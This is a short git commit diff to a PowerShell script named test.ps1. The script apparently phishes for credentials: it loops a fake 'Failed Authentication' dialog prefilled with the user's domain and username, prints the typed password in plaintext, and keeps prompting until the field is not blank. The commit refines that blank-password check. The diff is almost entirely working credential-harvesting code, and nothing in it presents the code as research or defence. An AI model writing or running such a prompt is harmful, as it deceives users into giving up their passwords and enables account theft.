Update test.ps1
This commit is contained in:
parent
3c7f15b490
commit
4bd643c823
1 changed files with 3 additions and 2 deletions
|
@ -53,9 +53,10 @@ $form = $null
|
|||
|
||||
while ($form -eq $null)
|
||||
{
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName);
|
||||
$cred.getnetworkcredential().password
|
||||
|
||||
if ($cred.Password -eq $null)
|
||||
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
|
||||
{
|
||||
Write-Output "Credentials cannot be left blank. Please try again."
|
||||
$form = $null
|
||||
|
|
Loading…
Reference in a new issue